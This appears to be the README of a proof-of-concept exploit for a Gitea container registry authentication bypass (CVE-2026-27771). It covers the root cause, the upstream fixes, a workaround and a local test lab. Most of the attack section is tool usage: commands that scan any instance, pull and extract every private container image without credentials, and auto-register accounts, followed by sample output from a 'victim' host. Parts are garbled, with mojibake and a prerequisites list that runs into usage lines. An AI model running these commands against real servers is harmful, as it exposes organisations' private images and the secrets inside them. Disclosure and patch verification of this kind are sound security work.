## https://sploitus.com/exploit?id=64F4CF85-A18C-57C7-8CAD-353FBFFFC604
# CVE-2026-27771 โ Gitea Container Registry Auth Bypass
**CVSS:** N/A (unpublished)
**Affects:** Gitea **Disclaimer:** This proof-of-concept is provided for educational and authorized security research purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse of this code. Only test against systems you own or have explicit permission to test.
## Summary
Unauthenticated remote attackers can pull **private** container images from Gitea instances. The OCI Distribution Spec API endpoints (`/v2//manifests/`, `/v2//blobs/`) serve content to ghost/anonymous users (`UserID: -1`) without checking the container package owner's visibility (private/limited/public).
NoScope identified ~31,750+ internet-facing instances across 30+ countries. The flaw went undetected for ~4 years.
## Root Cause
The vulnerability is in the `ReqContainerAccess` middleware (`routers/api/packages/container/container.go`):
```go
// v1.25.4 โ vulnerable
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
```
This only checks:
1. Is `ctx.Doer` nil? (unauthenticated request with no token at all)
2. Is `RequireSignInViewStrict` enabled AND is the user a ghost?
It does **not** check the package owner's visibility setting (`VisibleTypePublic`, `VisibleTypeLimited`, `VisibleTypePrivate`). A ghost user (`UserID: -1`) with an empty scope passes straight through and can access any container package.
The `/v2/token` endpoint (`Authenticate` function) grants anonymous tokens without credentials when `RequireSignInViewStrict` is `false`.
### Fix (PR #37290 + PR #37610)
Two fixes landed in 1.26.2:
1. **PR #37290** โ Conditional `Basic realm` header in `apiUnauthorizedError` โ stops sending `Basic realm` on public instances to avoid confusing Docker clients, and per-owner visibility check in the auth challenge.
2. **PR #37610** โ Package visibility labels + Composer source permission check โ adds the underlying permission model for packages. Without these labels, there was no way to differentiate private/internal/public packages in the permission check path.
### Workaround
```ini
[service]
REQUIRE_SIGNIN_VIEW = true
```
This blocks **all** anonymous access (including public repos), which closes the exploit path. However, the underlying permission model is still broken โ any authenticated user can still access all packages. **Upgrade to 1.26.2+ for the real fix.**
## Exploit PoC
### Prerequisites
- Python 3.8+
- Target Gitea instance # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan --token --username
python3 CVE-2026-27771-exploit.py pull # Pull all images
python3 CVE-2026-27771-exploit.py pull --repo owner/image # Pull specific repo
python3 CVE-2026-27771-exploit.py pull --dry-run # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull --token --username
python3 CVE-2026-27771-exploit.py register --username u --password p --email e@x.com
```
### Examples
```bash
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email me@x.com
```
### What the exploit does
1. **Pre-flight**: Checks version, `/v2/` endpoint, detects registration availability, obtains anonymous token or exchanges PAT for JWT
2. **Enumerate**: List all container repositories via `/v2/_catalog` (returns ALL repos โ public and private โ due to broken visibility)
3. **Pull**: For each repo, list tags, fetch the OCI manifest, resolve multi-arch images, download all blob layers
4. **Extract**: Automatically extracts gzip-compressed tar layers into `pulled_/extracted/`
### Token handling
- **Anonymous**: If `REQUIRE_SIGNIN_VIEW=false`, gets a ghost token with no credentials
- **PAT (SHA1)**: If `--token` is a 40-char hex string, auto-exchanges it for an OCI JWT via `Basic auth`
- **JWT**: If `--token` contains dots, uses it directly as a Bearer token
### Example output
```
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
โโ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
```
## Reproducing
### Setup a test environment
```bash
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/
```
### Verify the fix
```bash
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"
```
## References
- https://noscope.com/blog/gitea-instances-exposing-private-container
- https://blog.gitea.com/release-of-1.26.2/
- https://github.com/go-gitea/gitea/pull/37290
- https://github.com/go-gitea/gitea/pull/37610
- https://github.com/go-gitea/gitea/security/advisories